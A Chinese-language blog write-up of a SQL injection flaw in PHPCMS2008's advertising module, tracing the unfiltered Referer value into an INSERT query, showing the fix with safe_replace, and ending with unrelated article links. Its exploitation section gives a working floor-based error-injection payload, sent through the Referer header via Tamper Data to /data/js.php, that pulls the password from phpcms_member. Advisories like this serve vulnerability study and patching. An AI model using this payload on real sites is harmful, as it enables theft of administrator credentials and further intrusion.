PHPCMS2008广告模板SQL注入漏洞修复


Posted in PHP onOctober 11, 2016

00 漏洞描述

PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透。

01 漏洞分析

漏洞产生的位置:

/ads/include/ads_place.class.phpshow方法中.

function show($placeid)
...
if($adses[0]['option'])
{
foreach($adses as $ads)
{
$contents[] = ads_content($ads, 1);
$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);
$template = $ads['template'] ? $ads['template'] : 'ads';
}
}
...

sql语句中

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);

这里$this->referrer过this方法直接将HTTP请求头中的referer字段插入到数据库中,没有做任何过滤措施。(这个this方法是PHPCMS里面直接封装的)。

所以现在已经找到漏洞点,下一步就是找包含漏洞的用户可控的页面。如果漏洞是用户不可控的,比如只能管理员利用,那就相当的鸡肋了。

这里使用回溯的方法,看看哪些页面调用了它。

页面/ads/include/commom.inc.php

<?php 
...
require MOD_ROOT.'include/ads_place.class.php';
require MOD_ROOT.'include/ads.class.php';
...
?>

在往上看看谁调用了/ads/include/commom.inc.php

/ads/ad.php文件中

<?php
...
require './include/common.inc.php';
...
?>

ad.php文件为用户可控文件,但ad.php有时不能访问,继续向上查找/data/js.php

<?php
chdir(‘../ads/');
require ‘./ad.php';
?>

在用户访问首页时,会调用js.php,通过该文件可以提交有害字段,然后通过逐层调用,传入字段referer到危险方法show,引入SQL注入攻击。

02 漏洞利用

修改请求头中的referer字段的话有很多种,比如burpsuite,Tamper Data…

这里直接使用火狐的Tamper Data进行修改:

点击Start Tamper,然后访问http://your-addr/data/js.php?id=1

这时候Tamper Data会跳出来,在右边框内,点击右键,添加一个element值填写payload

referer=1', (SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#

这里我解释一下:因为漏洞的sql语句是INSERT是不回显的,所以可以使用盲注,这里的payload使用的floor报错注入。floor报错注入原理请参考:floor函数用法

把这个payload带入sql语句中是:

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘1',‘$time',(SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#,'0')”);

PHPCMS2008广告模板SQL注入漏洞修复

03 漏洞修复

对相关字段进行过滤处理。

$referer = safe_replace($this->referer);
$this->db->query("INSERT INTO $this->stat_table (`adsid`, `username`, `ip`, `referer`, `clicktime`, `type`) VALUES ('$ads[adsid]', '$_username', '$ip', '$referer', '$time', '0')");
$template = $ads['template'] ? $ads['template'] : 'ads';

这里safe_replace是PHPCMS2008封装的过滤函数。

以上所述是小编给大家介绍的PHPCMS2008广告模板SQL注入漏洞,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
php下实现一个阿拉伯数字转中文数字的函数
Jul 10 PHP
PHP 中文处理技巧
Apr 25 PHP
php数组函数序列之array_unique() - 去除数组中重复的元素值
Oct 29 PHP
ThinkPHP跳转页success及error模板实例教程
Jul 17 PHP
重新认识php array_merge函数
Aug 31 PHP
PHP合并静态文件详解
Nov 14 PHP
php防止网站被刷新的方法汇总
Dec 01 PHP
php清除和销毁session的方法分析
Mar 19 PHP
php命令行(cli)下执行PHP脚本文件的相对路径的问题解决方法
May 25 PHP
PHP实现在对象之外访问其私有属性private及保护属性protected的方法
Nov 20 PHP
总结PHP代码规范、流程规范、git规范
Jun 18 PHP
Laravel的Auth验证Token验证使用自定义Redis的例子
Sep 30 PHP
php基于curl实现随机ip地址抓取内容的方法
Oct 11 #PHP
php 获取文件行数的方法总结
Oct 11 #PHP
PHP中文字符串截断无乱码解决方法
Oct 10 #PHP
PHP获取用户客户端真实IP的解决方案
Oct 10 #PHP
php表单加入Token防止重复提交的方法分析
Oct 10 #PHP
Laravel5中防止XSS跨站攻击的方法
Oct 10 #PHP
php中让人头疼的浮点数运算分析
Oct 10 #PHP
You might like
PHP 导出数据到淘宝助手CSV的方法分享
2010/02/27 PHP
php简单实现数组分页的方法
2016/04/30 PHP
你的编程语言可以这样做吗?
2006/09/07 Javascript
jquery 新手学习常见问题解决方法
2010/04/18 Javascript
js 替换功能函数,用正则表达式解决,js的全部替换
2010/12/08 Javascript
字符串的replace方法应用浅析
2011/12/06 Javascript
jquery实现邮箱自动补全功能示例分享
2014/02/17 Javascript
JavaScipt中栈的实现方法
2016/02/17 Javascript
js获取Html元素的实际宽度高度的方法
2016/05/19 Javascript
Jquery获取第一个子元素简单实例
2016/06/02 Javascript
Angularjs在初始化未完毕时出现闪烁问题的解决方法分析
2016/08/05 Javascript
基于angular中的重要指令详解($eval,$parse和$compile)
2016/10/21 Javascript
JS中事件冒泡和事件捕获介绍
2016/12/13 Javascript
详解Nodejs之静态资源处理
2017/06/05 NodeJs
Vue 2.0的数据依赖实现原理代码简析
2017/07/10 Javascript
Angularjs中ng-repeat的简单实例
2017/08/25 Javascript
基于node搭建服务器,写接口,调接口,跨域的实例
2018/05/13 Javascript
jQuery+PHP实现上传裁剪图片
2020/06/29 jQuery
在webstorm开发微信小程序之使用阿里自定义字体图标的方法
2018/11/15 Javascript
vue 实现微信浮标效果
2019/09/01 Javascript
JavaScript设计模式之观察者模式与发布订阅模式详解
2020/05/07 Javascript
js实现简易拖拽的示例
2020/10/26 Javascript
python获得两个数组交集、并集、差集的方法
2015/03/27 Python
Python functools模块学习总结
2015/05/09 Python
python 编写简单网页服务器的实例
2018/06/01 Python
对Tensorflow中的变量初始化函数详解
2018/07/27 Python
python根据文章标题内容自动生成摘要的实例
2019/02/21 Python
python3 实现调用串口功能
2019/12/26 Python
tensorflow 环境变量设置方式
2020/02/06 Python
Alpine安装Python3依赖出现的问题及解决方法
2020/12/25 Python
销售人员中英文自荐信
2013/09/22 职场文书
商业融资计划书
2014/04/29 职场文书
艺术设计专业求职自荐信
2014/05/19 职场文书
客户答谢会致辞
2015/01/20 职场文书
Python下载商品数据并连接数据库且保存数据
2022/03/31 Python
分析MySQL优化 index merge 后引起的死锁
2022/04/19 MySQL